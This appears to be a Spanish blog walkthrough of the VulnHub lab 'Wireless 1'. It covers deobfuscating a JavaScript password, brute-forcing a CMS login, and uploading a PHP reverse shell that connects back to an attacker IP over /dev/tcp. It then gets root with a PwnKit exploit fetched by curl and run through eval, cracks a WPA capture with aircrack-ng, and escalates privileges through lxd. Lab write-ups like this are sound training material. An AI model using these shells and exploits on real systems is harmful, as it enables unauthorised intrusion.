Breaking Wireless 1
https://www.vulnhub.com/entry/wireless-1,669/
- Más fácil de lo que parece
- Enumeración 22,80,8080,8000
- En 80 está el apache plano, vamos a 8000 y está un voip. El ssh lo dejamos de momento y puede que no haga falta
- El vector de entrada parece el puerto 8000, tiene página de login y el user podemos probarlo con lo que se ve en la página principal, lo que nunca debe hacerse, jinmori@voip.in. Bruteforceamos con Burp pero no sale nada.
- Miramos más en la web, y el login.js contiene un base64 que oculta un javascript ofuscado
var _0xb5c3=["\x6A\x69\x6E\x6D\x6F\x72\x69","\x54\x68\x65\x20\x71\x75\x69\x63\x6B\x20\x62\x72\x6F\x77\x6E\x20\x66\x6F\x78\x20\x6A\x75\x6D\x70\x73\x20\x6F\x76\x65\x72\x20\x74\x68\x65\x20\x6C\x61\x7A\x79\x20\x64\x6F\x67","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];document.write(_0xb5c3);var u=_0xb5c3[0];var string=_0xb5c3[1];var a=string[_0xb5c3[2]](0);var b=string[_0xb5c3[2]](36);var c=string[_0xb5c3[2]](2);var d=string[_0xb5c3[2]](8);var e=string[_0xb5c3[2]](13);var f=string[_0xb5c3[2]](12);var g=string[_0xb5c3[2]](14);var h=string[_0xb5c3[2]](40);var i=string[_0xb5c3[2]](12);var p=String[_0xb5c3[3]](a,b,c,d,e,f,g,h,i);document.write(p);
lo modificamos un poco y sale la clave: Taekwondo
- Entramos, y poco puede hacerse excepto ver los logs
http://192.168.2.20:8000/voip_logs
De ahí sacamos un nuevo dominio de prueba: wireless.com
- Entramos y es un cms simple con su login. De nuevo aparece un user: juniordev, ahora sí bruteforceamos con Burp y sale pass passion. Entramos
- Analizamos el cms y podemos subir archivos --> subir un shell reverse. Lo hacemos cambiando la extensión a .phar y entramos por cmd
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.X/8888 0>&1'"); ?>
- Directamente con suid3num.py encontramos polkit-agent-helper-1 con lo que hay que probar este vector de entrada:
www-data@VOIP:/tmp$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
<nt.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
- No es seguramente la solución a priori porque hay un user home coherer con su flag, pero de esta manera es más rápido y directo. Quizá es un fallo del autor de la máquina, que habría pensado que hay que acceder al shell por el usuario coherer. ¿Cómo?
- en la página original sacábamos no solo el domain wireless.com sino que era para testing
podemos pensar en testing.wireless.com
y ahí encontramos el uso del puerto 8080. Encontramos un bot con el que hay que probar, help por ejemplo y nos da varias opciones, por ejemplo Aircrack-ng y Logs. Con el Aircrack-ng bajamos un pcap wifi de la red coherer, luego ya nos pone sobre la pista, y con Logs un documento en principio sin utilidad. Con wireshark echamos un vistazo y parece que podemos sacar la clave wifi de coherer.
- se trata ahora de crackear la clave wpa, usando diccionarios varios o creando uno al efecto del documento log que hemos hallado:
hacemos cewl al documento -w dicwpa
y luego es bueno aplicar alguna regla john
john --wordlist=dicwpa--rules=best64 --stdout > wpacrack.lst
y finalmente
sudo aircrack-ng -a 2 -b 00:0c:41:82:b2:55 -w ../wireless/wpacrack.lst /mnt/d/vulnv/WPA-Capture.pcap -e Coherer
KEY FOUND! [ Induction ]
- Hacemos ssh con estas credenciales y ya estamos dentro. Solo que de nuevo parece que la única posibilidad de escalar a root es con la vulnerabilidad polkit, que podía aplicarse solo con el usuario apache.
*POST
por supuesto que se trataba de usar el vector lxd.
La manera de hacerlo es la siguiente:
- descargar en la víctima los archivos: lxd.tar.xz y rootfs.squashfs ya compilados en nuestra máquina
- lxd init y entonces lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc init alpine privesc -c security.privileged=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc /bin/sh
entramos al container y luego tenemos el filesystem en mnt
Comentarios
Publicar un comentario